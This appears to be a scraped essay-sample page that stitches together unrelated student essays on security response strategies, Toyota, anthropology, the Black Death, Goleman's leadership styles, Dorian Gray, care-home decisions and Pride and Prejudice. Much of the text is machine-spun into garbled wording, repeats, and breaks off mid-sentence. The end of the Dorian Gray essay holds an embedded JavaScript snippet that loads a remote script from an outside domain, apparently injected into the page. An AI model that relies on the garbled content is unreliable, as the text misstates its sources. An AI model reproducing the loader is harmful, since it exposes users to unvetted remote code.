Response Strategies Assignment Example | Topics and Well Written Essays - 500 words

Reaction Strategies - Assignment Example Whichever the case, a decent reaction procedure must be in ideal arrangement with the set destinations of the PPS. Reaction procedures can go from prevention, to regulation, to recuperation, deferred reaction, forswearing, prompt reaction, or it could well be a mix of all relying upon the set objectives of the PPS. What is be that as it may, significant is the way that the general achievement or viability of a PPS relies upon the adequacy of the reaction systems. Prevention Deterrence as a reaction procedure is to a great extent dependent on making a view of tight security as a method of thwarting animosity or assault from a potential low level enemy. For prevention to be compelling security work force would should be obvious and they should impart a feeling of capacity, ideal and successful reaction to frequency, constancy and arbitrariness in watch plan. It is from various perspectives the main line of reaction technique worked fully expecting assaults from enemies who are not exce ptionally spurred. For instance, outfitted security staff at a Wall Street bank for the most part would dishearten low level assaults of vandalism from enemies who are not inspired.

Toyota Origins Paper Term Example | Topics and Well Written Essays - 1000 words

Toyota Origins - Term Paper Example (Piotrowski and Guyette, 2010, p.89) It was Mr. Toyoda Sakichi, who gave the first force to the youthful organization. This business person and designer second to none deciphered a portion of the innovative thoughts he utilized in the material business to the youngster vehicle industry. Under the mentorship of Toyoda Sakichi, his child Toyoda Kiichiro applied the demonstrated techniques for productivity from the material weavers vehicle fabricating. In mid-twentieth century, Ford and General Motors had a noteworthy piece of the overall industry of the Japanese vehicle industry, and contending with them was close to incomprehensible. However, in view of the visionary desire of the expired Toyoda Sakichi, his child took upon the test of contending with the greater firms. Aside from the founder’s vision, some pragmatic necessities as Japanese military missions additionally encouraged the development of Toyota Motor Corporation in its initial days. And afterward when the unbelieva ble Ohno Taiichi joined the organization after the Second World War, his sharp building inputs changed the organization into a legitimate worldwide player. (Cost, 1997, p.14) In 2001, Toyota gave an archive titled Toyota Way 2001, which features a portion of the center standards and qualities embraced by the administration and the workforce. A portion of these standards additionally fill in as deliberately significant in recognizing Toyota from different organizations. For instance, standards, for example, Respect for People, Continuous Improvement, and so forth are taught into the workforce directly during times of success and misery. The car showcase on the planet is supposed to be exceptionally serious and unstable. Also, request in this market is influenced by various factors, for example, social, political and general monetary conditions; dispatch of new vehicles and advancements; and costs brought about by clients to purchase and work vehicles. These elements can make buyer re quest to fluctuate considerably starting with one year then onto the next across advertise topographies and for various sorts of cars. However, disregarding such vulnerabilities and still rivalry, an ongoing yearly report of Toyota shows â€Å"increasing unit deals from 2006 to 2008, in light of the complete unit deals of its items everywhere throughout the world. Be that as it may, in view of the unit deals per geographic portion, there was a decrease in the Toyota unit deals in Japan, from 2,364,000 units in 2006 down to 2,188,000 units in 2008. Regardless of the decrease in the unit deals of Toyota’s items in Japan, Toyota’s piece of the pie (counting Daihatsu and Hino) including min-vehicles, and Toyota and Lexus' piece of the overall industry barring small scale vehicles, stayed at a significant level near earlier monetary year mirroring the business endeavors of residential sellers (Cortezâ and Penacerrada, 2010, p.113). One of the key main impetuses b ehind the proceeded with achievement of Toyota is its grip of Lean Manufacturing and Just-In-Time Production procedures. At that point there is the overall arrangement of ways of thinking and qualities brought under the term the Toyota Way. The Toyota Way can be additionally separated into 4 parts. First is a drawn out way to deal with the board dynamic; second is a precise way to deal with critical thinking; third is esteem expansion to the organization; and fourth is to concentrate on taking care of steady issues confronting the organization. These standards and methods signify structure the imposing

Anthropology Research Paper - 275 Words

Anthropology Research Paper (Research Paper Sample) Content: AnthropologyNameInstitutional affiliationAnthropologyThe aspect of anthropology that I find interesting is the comparative method of study, which studies human behavior best when it gets the whole concept of human behavior. The comparative method of study explains how different people fair historically by explaining their differences and similarities. Comparative method of study helps one in uncovering behavioral principles that are adopted by every human community. I find the aspect interesting as it provides the reader with a reference frame that can be used to understand all life aspects in all communities.The interrelationship between modes of livelihood and system of exchange Although it is quite hard to generalize how system of change and modes of livelihood relate, empirical evidence shows that the economic development relates to how cultures shift away from their values and norms towards values that are participatory, tolerant, rational and increasingly trust ing. For example, some of the norms and values that have to change are people having little tolerance of issues such as homosexuality, abortion and divorce while at the same time strong believers of male dominance, religion, authoritarian political systems and strong family attachments. The advanced societies have their development trajectories. This means that the interrelationship between modes of livelihood and the system o... Anthropology Research Paper - 275 Words Anthropology Research Paper (Research Paper Sample) Content: AnthropologyNameInstitutional affiliationAnthropologyThe aspect of anthropology that I find interesting is the comparative method of study, which studies human behavior best when it gets the whole concept of human behavior. The comparative method of study explains how different people fair historically by explaining their differences and similarities. Comparative method of study helps one in uncovering behavioral principles that are adopted by every human community. I find the aspect interesting as it provides the reader with a reference frame that can be used to understand all life aspects in all communities.The interrelationship between modes of livelihood and system of exchange Although it is quite hard to generalize how system of change and modes of livelihood relate, empirical evidence shows that the economic development relates to how cultures shift away from their values and norms towards values that are participatory, tolerant, rational and increasingly trust ing. For example, some of the norms and values that have to change are people having little tolerance of issues such as homosexuality, abortion and divorce while at the same time strong believers of male dominance, religion, authoritarian political systems and strong family attachments. The advanced societies have their development trajectories. This means that the interrelationship between modes of livelihood and the system o...

The black death Essay - 552 Words

What was the Black Death, and what was its impact on European society? The Black Death was a bacterium which was carried by flea infested rats. This disaster spread across Europe quite rapidly. Much accusation for the cause of the plague was pressed onto the Jewish community. The most common plague was the bubonic plague, although the pneumatic plague also existed. This disaster caused economic, social, political and cultural havoc. Approximately 50% of the infested population died, which, was estimated between 19 to 38 million. During this occurrence 25 to 50 percent of the population throughout Europe decreased. The plague began around 1347 and did not end until around 1369. What major problems did European states face in the†¦show more content†¦Soon after a third Pope joined the crowd in an effort to resolve the problem of the two first Popes, although this only caused more chaos. What were the major developments in art and literature in the fourteenth century? The most prominent development in the fourteenth century was creation of vernacular literature. Vernacular languages shortly became as used as much, if not more, than Latin. The fourteenth century was also a great era for European writers such as Dante Alighieri, Geoffrey Chaucer and Christine de Pizan who wrote The Book of the city of Ladies, which was criticized by many male writers. Giotto â€Å"a forerunner of Italian Renaissance paintingquot; also made his presence in this century. The most famous works of Giotto were completed in Padua and Florence. The high renaissance was part of the final section of the renaissance art. The three artist that dominated this type of art were Leonardo da Vinci, Raphael and Michelangelo. The artwork after the plague was considered to be more dark and sorrowful. How did the adversities of the fourteenth century affect urban life? Authorities tried to keep the cities cleaner by closing such things as bathhouses in order to create cleaner distracts. Although in this attempt it lead to a decline in cleanliness The general theme for families in the late medieval urban era was the nuclear family.Show MoreRelatedThe Black Of Black Death939 Words   |  4 Pageshistory few events seem as cataclysmic as the Black Death. The Black Death was actually one of the most deadly pandemics in human history. This awful pandemics most devastating time in Europe was between 1348 and 1350. According to some estimates it wiped out at least two-thirds of Europe’s population. A Malmesbury monk from Wiltshire wrote that, â€Å"Over England as a whole a fifth og men, women and children were carried to the grave.† (James â€Å"Black Death: The lasting impact†) Many epidemiologists stillRead MoreThe Death Of The Black Death1148 Words   |  5 PagesThe Black Death, one of the greatest natural disaster to hit Europe thus causing the death of many people in the most horrific manner and cause the end of feudalism. This was a disaster that affected one third of the European continent and also one that no one was prepared to face. It killed more people than during a war and it impacted simple lives of people, their culture, religion and the economy as a whole. The origin of The Black Death has several explanations. Some people said The Black DeathRead MoreThe Death Of The Black Death905 Words   |  4 Pagesgrew were dying. On the wake of these seven distressing years of weather and famine was the greatest plague of all times, The Black Death. In 1347 AD, The Black Death began spreading throughout Western Europe. Over the time span of three years, the widespread epidemic killed one third of the population in Europe with pretty near twenty five million people dead. The Black Death killed many more Europeans than any other endemic or war up to that time, vastly impacting the Church, the people, and the economyRead MoreThe Death Of The Black Death1380 Words   |  6 PagesThe Black Death was a very important time in history and, while devastating, it led to many advances in medicine due to the mass spread of a new deadly disease. The 14th Century encompassed the time period of January 1, 1301 to December 31, 1400. When this disease struc k, Ole J. Benedictow calculates that it killed about 50 million people in Europe alone, which was about 60% of Europe’s population at the time. That being said, the Black Death, often referred to as the Bubonic Plague, clocked inRead MoreThe Death Of The Black Death2017 Words   |  9 PagesThe Black Death The pandemic known to history as the Black Death was one of the world’s worst natural disasters in history. It was a critical time for many as the plague hit Europe and â€Å"devastated the Western world from 1347 to 1351, killing 25%-50% of Europe’s population and causing or accelerating marked political, economic, social, and cultural changes.† The plague made an unforgettable impact on the history of the West. It is believed to have originated somewhere in the steppes of central AsiaRead MoreThe Black Death1386 Words   |  6 Pagesatrocious and it made the perfect place for Yersinia Pestis to thrive. Yersinia Pestis is the virus responsible for the Black Death, a deadly disease that rapidly powered through Europe, killing nearly all of the people in its way. The Black Death had a lot of gruesome and terrifying symptoms that made bystanders sick just watching. Certain people were more likely to acquire the Black Death than others. Since peasants had worse l iving conditions than the nobility, they were far more likely to catch theRead MoreThe Black Death1386 Words   |  6 Pagesatrocious and it made the perfect place for Yersinia Pestis to thrive. Yersinia Pestis is the virus responsible for the Black Death, a deadly disease that rapidly powered through Europe, killing nearly all of the people in its way. The Black Death had a lot of gruesome and terrifying symptoms that made bystanders sick just watching. Certain people were more likely to acquire the Black Death than others. Since peasants had worse living conditions than the nobility, they were far more likely to catch theRead MoreThe Black Death1349 Words   |  6 Pagesatrocious and it made the perfect place for Yersinia Pestis to thrive. Yersinia Pestis is the virus responsible for the Black Death, a deadly disease that rapidly powered through Europe, killing nearly all of the people in its way. The Black Death had a lot of gruesome and scary symptoms that made bystanders sick just watching. Certain people were more likely to acquire the Black Death than others. Since peasants had worse living conditions than the nobility, they were far more likely to catch the PlagueRead MoreThe Black Death831 Words   |  4 PagesTHE BLACK DEATH! What Is The Black Death? The Black Death is a disease that went on for over 5 years. It also spread around a wide range of places! It killled and harmed thousands upon thousands of people and had no mercy. If you were to sadly catch the Black Death, you would DEFINITELY die and there was many cures and causes however none of the causes actually worked also all of causes were thought to be a punishment from God. Once you knew you had the Black DeathRead MoreThe Black Death1203 Words   |  5 PagesWhat were the short term and long term impacts of the Black Death on Medieval society? The Black Death is one of the most fatal diseases in human history and took its peak in Europe from 1348 to 1350. Half of Europe’s population was wiped out due to this disease and the short and long term impacts greatly affected the structure of Medieval Society. The Black Death or otherwise known as the plague was thought to have begun in Central Asia, which spread down the Silk Road and eventually to Europe

Leadership That Gets Results By Daniel Goleman Essay

In the article â€Å"Leadership that Gets Results,† Daniel Goleman suggests that there is a relationship between three concepts: the elements of emotional intelligence, the six leadership styles, and an organization’s climate. Describe the way he believes that these concepts influence each other. You may include a drawing with boxes, arrows, and the like if that helps you to explain your thinking. Ultimately, he argues that these concepts influence organizational performance. Do you think he makes a compelling case for his position? The article of Leadership That Gets Results provides the six leadership styles for individuals to understand how leadership styles influence on an organization’s climate. Furthermore, the six leadership styles are consisted of the emotional intelligence: self-awareness, self-management, social awareness, and social skill. Therefore, these three concepts, such as the six leadership styles, the elements of emotional intelligence, and an organization’s climate, will influence each other because the research found that individuals with different emotional intelligence competencies will have distinct leadership styles. Subsequently, with the distinct leadership styles, leaders will utilize their own leadership styles to lead their group, team, division, or corporation. Thus, it will bring about a unique impact on an organization’s climate and in turn, on its financial performance (Goleman, 2000, p.79). Moreover, leaders with their own emotionalShow MoreRelatedHow Leadership Styles Influence On An Organization s Climate Essay1019 Words   |  5 Pages The article of Leadership That Gets Results provides the six leadership styles for individuals to understand how leadership styles influence on an organization’s climate. Furthermore, the six leadership styles are consisted of the emotional intelligence: self-awareness, self-management, social awareness, and social skill. Therefore, these three conc epts, such as the six leadership styles, the elements of emotional intelligence, and an organization’s climate, will influence each other because theRead MoreEmotional Intelligence and Leadership1065 Words   |  4 Pagesï » ¿ Emotional Intelligence and Leadership Introduction What is Daniel Golemans Theory of Emotional Intelligence? How does Golemans theory relate to leadership in the workplace or in the political milieu? Why is image management important for leadership? Answers to these and other issues will be presented in this paper. Emotional Intelligence and Leadership Daniel Goleman uses an analogy to present his theory on emotional intelligence; he notes that it was Super Bowl Sunday, and the game wasRead MoreChapter 4 : How We Communicate : Making Connections890 Words   |  4 PagesGoleman, D. (2000). Leadership that gets results. Harvard Business Review. March-April. Pp. 78- 90. Siegel, D. Hartzell, M. (2003). Parenting from the inside out. Chapter 4: How we communicate: Making connections. New York: Penguin Books pp. 80-100. In the reading by Daniel Goleman, the six different type of leadership are described, and defined. The writer states the different types are Coercive, Authoritative, Affiliative, Democratic, Pacesetting, and Coaching (Goleman, 2000). â€Å"Coercive leadersRead MoreOrganizational and Professional Development1519 Words   |  6 PagesOrganizational and Professional Development Introduction Social intelligence has been defined as the ability to understand and manage other people, and to engage in adaptive social interactions like making them to get along with you. Social intelligence entails a persons awareness to a situation and the social dynamics that accompany the situation and the knowledge of the strategies and interaction style, that, he/she can use to achieve the desired objective while dealing with others (Bob, 2008)Read MoreManagement Styles1016 Words   |  5 Pagesup to the individual platoon or squad leaders. According to Daniel Goleman in his book â€Å"Primal Leadership,† autocratic leadership is the most widely used and the least often needed form of management (Goleman, Boyatzis and McKee). He goes on to say that â€Å"even in†¦today’s more modernized military organizations; the commanding style is balanced by other styles in the interest of building commitment, esprit de corps, and teamwork (Goleman, Boyatzis and McKee).† This style of management often teardownRead MoreEmotional Intelligence And The Mind Team1318 Words   |  6 Pagesout the best in his teammates and under his leadership, our team achieved our performance goals all of the five years that I spent in the Company. In hindsight, I realize that my boss possessed certain attributes that distinguished him and made us refer to him as an effective leader, especially since there where positive results to show for his leadership approach. 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Latino and African American’s unemployment rate showed higher than White (Shierholz et al., 2014, Para 4). The report indicated that less jobsRead MoreEffects of Emotional Intelligence on Leadership3159 Words   |  13 PagesIntelligence on Leadership Eric Rowen Chicago School of Professional Psychology Abstract This paper will encompass a discussion about emotional intelligence (E.I.), its varied definitions, applications to leadership, and potential areas of concern. It begins by outlining the ability-based model of E.I. set forth by Mayer, Caruso, and Salovey and their Multifactor Emotional Intelligence Scale. Next, the mixed and trait-based constructs of emotional intelligence are discussed by examining Daniel Goleman’sRead MoreEssay Chattanooga Ice Cream Company Case Analysis1577 Words   |  7 PagesAnalysis Name: TEAMB Institution: Strayer University Course: Leadership in the 21st Century Professor: Dr. Mario Barrett Date: End of Week 8 Introduction Teamwork has become so influential and determinant of outcomes on goals in many organizations. Thus, the concept of teamwork has been given a lot of attention in the management process. Instead of the old management models, contemporary management lays emphasis on leadership and effective teamwork approach. Therefore, the potential of creating

The Picture Of Dorian Gray Corruption Through free essay sample

The Picture Of Dorian Gray: Corruptness Through Aestheticism Essay, Research Paper The Picture of Dorian Gray: Corruptness Through Aestheticism The Picture of Dorian Gray by Oscar Wilde is the narrative of moral corruptness by the agencies of aestheticism. In the novel, the well significance creative person Basil Hallward presets immature Dorian Gray with a portrayal of himself. After discoursing with misanthropic Lord Henry Wotton, Dorian makes a wish which awfully affects his life everlastingly. # 8220 ; If it were I who was to be ever immature, and the image that was to turn old! For that I would give everything! Yes, there is nil in the whole universe I would non give! I would give my psyche for that # 8221 ; ( Wilde 109 ) . As it turns out, the Satan that Dorian sells his psyche to is Lord Henry Wotton, who exists non merely as something external to Dorian, but besides as a voice within him ( Bloom 107 ) . Dorian continues to take a life of sensualness which he learns approximately in a book given to him by Lord Henry. Dorian # 8217 ; s unethical devotedness to pleasure go his manner of life. The fresh underscores its disapproval of aestheticism which negatively impacts the chief characters. Each of the three primary characters is an aesthete and meets some signifier of awful personal day of reckoning. Basil Hallward # 8217 ; s aestheticism is manifested in his dedication to his artistic creative activities. He hunts in the outside universe for the perfect manifestation of his ain psyche, when he finds this object, he can make chef-doeuvres by painting it ( Bloom 109 ) . He refuses to expose the portrayal of Dorian Gray with the account that, # 8220 ; I have put excessively much of myself into it # 8221 ; ( Wilde 106 ) . He farther demonstrates the extent to which he holds this doctrine by subsequently saying that, # 8220 ; merely the creative person is genuinely reveled # 8221 ; ( 109 ) . Lord Henry Wotton criticizes Basil Hallward that, # 8220 ; An creative person should create beautiful things but should set nil of his ain life into them # 8221 ; ( Wilde 25 ) . Ironically, the intent of Basil Hallward # 8217 ; s being is that he is an aesthete nisus to go one with his art ( Eriksen 105 ) . It is this really work of art which Basil refuses to expose that provides Dorian Gray with the thought that there are no effects to his actions. Dorian has this belief in head when he murders Basil. Here we see that the creative person is killed for his inordinate love of physical beauty ; the same art that he wished to unify with is the cause of his mortal ruin ( Juan 64 ) . Lord Henry Wotton, the most influential adult male in Dorian # 8217 ; s life, is an aesthete of the head. Basil is an creative person who uses a coppice while Wotton is an creative person who uses words: There is no good, no immorality, no morality and immorality ; there are manners of being. To populate is to experiment aesthetically in populating to experiment all esthesiss, to cognize all emotions, and to believe all ideas, in order that the ego # 8217 ; s every capacity may be imaginatively realized ( West 5811 ) . Lord Henry believes that, # 8220 ; it is better to be beautiful than to be good # 8221 ; ( Wilde 215 ) . Although he attests that aestheticism is a manner of idea, he does non move on his beliefs. Basil Hallward accuses him stating, # 8220 ; You neer state a moral thing and you neer do a incorrect thing # 8221 ; ( 5 ) . However, Lord Henry does take the immoral action of act uponing Dorian. Although Lord Henry states that, # 8220 ; all influence is immoral # 8221 ; ( Wilde 18 ) , he however drastically alterations Dorian Gray. As Dorian Acts of the Apostless on the beliefs of Lord Henry, the portrayal # 8217 ; s beauty becomes corrupted. # 8220 ; Lord Henry nowadayss Dorian with the renters of his New Hedonism, whose footing is self-development taking to the perfect realisation of one # 8217 ; s nature # 8221 ; ( Eriksen 97 ) . If Lord Henry # 8217 ; s aesthetic thoughts have cogency, Dorian Gray # 8217 ; s portrayal should non become ugly, but instead more beautiful. Since the image becomes loathsome, it is apparent that Lord Henry # 8217 ; s beliefs are untrue ( West 5811 ) . Dorian becomes so disgusted with the atrocious portrayal that he slashes the canvas, and the knife pierces his ain bosom. Because Lord Henry is responsible for act uponing Dorian Gray, he is partially the cause of the decease of Dorian ( 5810 ) . While Lord Henry is indirectly the cause of Dorian # 8217 ; s decease, he excessively causes his ain ruin. Lord Henry alterations Dorian with the belief that ethical motives hold no legitimate topographic point in life. He gives Dorian a book about a adult male who seeks gt ; beauty in evil esthesiss. Both Lord Henry # 8217 ; s actions and ideas prove catastrophic, as his married woman leaves him and the staying focal point of his life, vernal Dorian Gray, kills himself in an effort to foster the life style suggested to him by Lord Henry. Finally, he is left destitute, without Dorian, the art he so cherishes, because he tried to model it, as dictated by aestheticism. Of all the supporters, Dorian # 8217 ; s ruin is the most clearly recognized. A immature adult male who was pure at the beginning of the novel becomes depraved by the influence of Lord Henry. # 8220 ; He grew more and more infatuated of his ain beauty, more and more interested in the corruptness of his ain psyche # 8221 ; ( Bloom 121 ) . He begins to take a life of immorality, including the slaying of his beloved friend Basil Hallward. # 8220 ; There were minutes when he looked on immorality merely as a manner through which he could recognize his construct of beautiful # 8221 ; ( Wilde 196 ) . However, there is still a flicker of good left in Dorian. He ciliums out at his distorted wise man, Lord Henry, declaring, # 8220 ; I can # 8217 ; t bear this Henry! You mock at everything, and so propose the most serious calamities # 8221 ; ( 173 ) . This hint of goodness is non plenty to salvage Dorian, for he has crossed excessively far towards the kinky side of aestheticism and can non get away it. # 8220 ; Dorian experiments with himself and with work forces and adult females, and watches the experiment recorded twelvemonth by twelvemonth in the fouling and aging corruptness of his portrayal # 8217 ; s beauty # 8221 ; ( West 5811 ) . Dorian becomes so fed up with this portrayal of his psyche and his scruples, that he slashes the canvas, killing himself. For Dorian, this is the ultimate immorality act, the desire to free himself of all moral sense. Having failed the effort to get away through good actions, he decides to get away by perpetrating the most awful of offenses. Aestheticism has claimed its concluding victim. # 8220 ; Basil Hallward is what I think I am: Lord Henry what the universe thinks of me: Dorian Gray what I would wish to be # 8211 ; in other ages, possibly # 8221 ; ( Hart- Davis 352 ) . Because of the terminations he creates for these characters, Oscar Wilde proves that he does non visualize himself in the immoral characters of this narrative nor is he trying to advance their life styles. Of all the characters whom he creates, he sees himself as Basil, the good creative person who sacrifices himself to contend immorality. # 8220 ; It was his beauty that had ruined him, his beauty and the young person that he had prayed for # 8221 ; ( Wilde 242 ) . Contrary to Wilde # 8217 ; s claim in the foreword that, # 8220 ; there is no such thing as a moral or immoral book # 8221 ; ( seven ) , this novel has a deep and meaningful intent. # 8220 ; The moral is that an absence of spiritualty, of religion, of respect for homo life, separates persons like Wilde # 8217 ; s Dorian Gray from humanity and makes monsters of them # 8221 ; ( West 5831 ) . W.H. Auden feels that the narrative is specifically structured to supply a moral. He compares the narrative to that of a fairy narrative, complete with a princess, a wicked enchantress, and a faery godmother. This leaves # 8220 ; room for a moral with which good every fairy narrative ends. # 8221 ; Not merely is the fresh seen as bing on the pure degree of faery narratives, but it is claimed to incorporate # 8220 ; ethical beauty # 8221 ; ( Auden 146 ) . The Picture of Dorian Gray is a fresh including a moral duologue between scruples and enticement that is strongly conveyed. Though it is made to look an advocator for aestheticism on the surface, the narrative finally undermines that full doctrine. Wilde brings the inquiry of # 8220 ; to what extent are we shaped by our actions # 8221 ; ( 26 ) . He besides demonstrates that # 8220 ; art can non be a replacement for life # 8221 ; ( Eriksen 104 ) . It is a antic narrative of hedonism with a moral to be learned and remembered. Plants Cited Auden, W.H. # 8220 ; In Defense of the Tall Story. # 8221 ; The New Yorker. 29 November 1969. pp.205-206, 208-210. Bloom, Harold. Oscar Wilde. New York: Chelsea House Publishers, 1985. Ellman, Richard. Oscar Wilde. New York: Alfred A. Knopf Inc. , 1987. Eriksen, Donald. Oscar Wilde. Boston: Twayne Publishers, 1977. Hart-Davis, Rupert. The Letters of Oscar Wilde. New York: Harcourt, Brace and World, 1962. Juan, Efifanio. The Art of Oscar Wilde. New Jersey: Princetown University Press, 1967. Wilde, Oscar. The Picture of Dorian Gray. New York: Random House, Inc. , 1992. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Information Based Decision Making free essay sample

As a manager, it is vital that all decision that I have to make is based on accurate and recorded information. Making decisions are everyday activities and very often it is being performed without really thinking about them. Information based decision making enables me to understand the problem solving cycle, use creativity in decision making, anticipate potential problems, gain the commitment of others to my decisions in order that they may be effectively implemented and I am able to evaluate the effectiveness of the techniques I used. Running a care home for the elderly faces me with an everyday activities of decision making. Please look at the case of Mrs W below. Mrs W has been admitted to our care for six months now. Her care plan states that she has dementia and has a poor short term memory but can make her needs known. Ms W is very mobile. She will always look for her husband and her son thinking that they are still living together and this is the trigger for her to be unsettled and anxious. We will write a custom essay sample on Information Based Decision Making or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Mrs W used to be a manageress and supervises a number of workers. She thinks that staff and residents are her workers. She needs constant reminder that she’s not working anymore and where she is now is not her workplace. Mr W, as the next of kin was involved in creating Mrs W’s care plan and he has signed it. A risk assessment was in place to ensure safety of Mrs W. The Kepner-Tregoc method of decision making distinguishes between plans which is seen as the means of dealing with potential problems; problems, seen as deviation from the norms and decisions which are choices between alternatives. Mrs W has a care plan made by the care staff which state of what could be the potential problem that might arise when looking after Mrs W and how the care staff can support her. As mentioned, Mrs W’s dementia presents itself in a poor short term memory and mainly remember only about her husband and son. Also, her workplace and how she manages the people working under her supervision which leads to her being anxious and agitated. Mrs W’s behaviour was getting worst every day. She was becoming physically and verbally aggressive towards staff, visitors and residents. I have advised the staff to start filling in a behavioural chart to find out if there is any pattern to her behaviour. And so there will be a basis in changing the plan of care for Mrs W. The family has been made aware of her behaviour and we have decided to refer her to the GP to rule out any medical condition and for her to be referred to a psychiatrist. GP visit confirmed that Mrs W needs a psychiatric referral. The potential problem has now become an existing problem. Problems needs to be analyzed and it requires sharp observation, analysis, specific comparison all aimed at identifying the cause and taking actions. Psychiatrist came and visited Mrs W and looked at her care plan. Family attended as well. An agreed management/plan of care was created for Mrs W and will be monitored and reviewed in an agreed span of time. Family was agreeable to it. Staff has been informed through handover what were the changes in Mrs W’s care and the care plan was updated. Despite the changes in Mrs W’s care, she now wants to get out of the building almost every day to see her husband and son. Mrs W’s care plan has been reviewed and referred back to psychiatrist and a medication review has been done. Because of Mrs W’s wanting to get out of the building by forcefully banging and opening the door, I have to adhere to the organisation’s policy and procedure and the essential standards of CQC in ensuring that we are not depriving Mrs W’s liberty . And how we manage her when she is physically aggressive is for her best interest. I have made a referral to the safeguarding team to the local council to carry out an assessment for Mrs W. Safeguarding team has done their assessment with the involvement of Mrs W’s family and the care staff. The measures we use to keep Mrs W safe do not deprive her of her liberty. This particular incident, proves that all decision made by our care team were based on information that are available on Mrs W’s care plan. All the data gathered and shared to the health team were used for specified purpose only of ensuring Mrs W receives the best care in the care home. Decision making is about choosing from a range of options. In the case of Mrs W, GP were involved first to rule out any possible medical condition before the referral to the psychiatrist was made. And the involvement of the safeguarding team of the local council. This was made possible because of the quality information through factual recording by the care staff of Mrs W’s behavioural problems. The outcome of the decision in Mrs W’s care has been communicated to the staff through verbal and written handover. All the changes were indicated in her care plan. Staff were advised that it should be carried out with the supervision of the senior carers. Senior carers has the responsibility to monitor the effectiveness of the new care plan and making sure that it is being evaluated every month and make necessary changes based on the information gathers through observation, assessment and input from the care staff. On supervisions of the senior carers, I always ask them to bring in any of the care plan that they should be updating and check if all the necessary updates are being done. It is my way of evaluating /auditing the effectiveness of the communication method we used in the home.

The Importance of Narrative Voice and Dialogue Essay Example

The Importance of Narrative Voice and Dialogue Essay Example The Importance of Narrative Voice and Dialogue Essay The Importance of Narrative Voice and Dialogue Essay In a continuous essay of not more than 1,000 words, analyse this passage, discussing how narrative voice and dialogue are important elements in the creation of meaning in the passage. Throughout the passage from Jane Austen’s Pride and Prejudice, the author provides many ways to establish the creation of meaning through the use of dialogue and narrative voice. Austen allows the reader insight into the nature of the characters by us of dialogue, in which we see how the characters interact with each other. Austen also uses narrative, focalization, discourse and punctuation to further develop the characters and create familiarity between them and the reader. I hope to analyse the ways in which she does this and the meaning that is consequently created. The narration within the passage is omniscient. The narrator knows the actions, thoughts, words and feelings of not only the characters but also gives the reader insight into the society attitude to the engagement of Jane and Bingley; â€Å"The Bennets were speedily pronounced to be the luckiest family in the world†. The understated way in which the narrator ‘tells’ the reader this using the omniscient voice, allows the reader to absorb the information in a detached way; giving them the impression of a small, judgmental community who are limited in their imagination. This has the effect of enriching the reader’s understanding of the characters that live within the community. In contrast, we are dramatically ‘shown’ by the narrator Mrs Bennet’s reaction, â€Å"Why he has four or five thousand a year†. The litter of exclamation marks in the paragraph convey Mrs Bennet’s excitement, and the reader may judge that Mrs Bennet is shallow and slightly silly. The reader’s judgment is qualified by the fact that Mr Bennet does not reply to this utterance, and perhaps has the opinion that it is an exaggerated response and not worthy of reply. However, the narrator lets us know that while Mrs Bennet’s speech is worthy of judgement; it is an acceptable perspective shared by the society in which she lived and therefore perhaps, nudges the reader to judge them both harshly or conversely understand and excuse her. The society view within the passage, that the good marriage of a daughter is the luck of a family conveys an impression of realism. Mrs Bennet’s speech which features Bingley’s money and good looks, (not mentioning his character at all) also compounds the preconception that in this era these values were considered important before all other virtues. Conversely, the way in which the Bennets are described as being the â€Å"luckiest family in the world† has a quality of romance or a fairy tale/dream ending. Realism and romance are therefore both used to convey the ‘good fortune’ of the family and its implications. The omniscient narrator conveys the point of view of the characters Mary and Kitty to their sister’s engagement through the use of free indirect speech – â€Å"Mary petitioned Kitty begged very hard † this has the effect of giving the reader insight into the nature of the two sisters – they may conclude that Mary is the more staid, scholarly sister and Kitty frivolous, even the names of the characters affirms this. This characterization enables the reader form an opinion on the characters and in doing so gets more involved in the plot. Much of the passage is made up of direct speech between Jane and Elizabeth, this dialogue has the effect of conveying the closeness between the two sisters. The dialogue is interjected with omniscient narration that portrays Elizabeth’s inner thoughts and relief that Bingley had not told Jane of Darcy’s involvement in their previous estrangement â€Å"Elizabeth was pleased†. This has the effect of involving the reader and establishing affection for the character. The reader is privy to thoughts and events that not even her sister is aware of and is therefore complicit in the omission, sharing a secret with Elizabeth; thus drawing the reader to the character and into the narrative. The narrative in the passage is focalized mainly through Elizabeth. It is from her point of view that we observe the events following Jane and Bingley’s engagement, â€Å"Elizabeth had now but little time she found herself useful † this focalization causes the reader to identify with Elizabeth and become fond of her as her character and opinions are expressed. In the dialogue that follows, Jane is predictably extolling the virtues of Bingley and asserting her happiness, â€Å"certainly the most fortunate creature.. † Elizabeth’s response to this gives us insight into the way in which her character and the plot may develop. Elizabeth asserts that â€Å"till I have your disposition I never can have your happiness.. † It is possible that she believes that the good nature of her sister and lack of pride is key to her happiness (alternatively she is being ironic, knowing that she would not be happy with a ‘Bingley’ unless she had a similar temperament to Jane). She is pleased that her sister does not know about Darcy’s interference in her courtship with Bingley as she believes that this would â€Å"prejudice her against him† This could be a significant moment in the plot as pride and prejudice have been keeping Darcy and Elizabeth from finding happiness with each other. The intention to cease prejudice and pride causes the reader to sense and anticipate a happy conclusion, therefore eagerly reads on. The suggestion of moral self knowledge by which means Elizabeth may improve her prospects is showing the reader that reflection and change is required for evolvement. It also shows the dynamic quality of her character. The passage also lets the reader know that Jane’s character has changed over the course of the book â€Å"the most unforgiving speech that I have ever heard you utter. † Experience has led her to treat Miss Bingley with caution, this has the effect of humanizing the character of Jane and making her less static and one dimensional. It also gives the reader no doubt as to the feelings of Elizabeth towards Miss Bingley â€Å"Good girl! It would vex me indeed. the dupe of Miss Bingley’s pretend regard† As Elizabeth is the focalized character, the reader takes this judgement as a fair and accurate one and the poor opinion of Miss Bingley is assumed with no other evidence to confirm it. In conclusion, the narrative voice and dialogue within the passage affords a wealth of meaning. It is possible to study and form opinion on the characters and the environment in which they lived, by the author’s use of characterization. The use of narrative and the In a continuous essay of not more than 1,000 words, analyse this passage, discussing how narrative voice and dialogue are important elements in the creation of meaning in the passage. Throughout the passage from Jane Austen’s Pride and Prejudice, the author provides many ways to establish the creation of meaning through the use of dialogue and narrative voice. Austen allows the reader insight into the nature of the characters by us of dialogue, in which we see how the characters interact with each other. Austen also uses narrative, focalization, discourse and punctuation to further develop the characters and create familiarity between them and the reader. I hope to analyse the ways in which 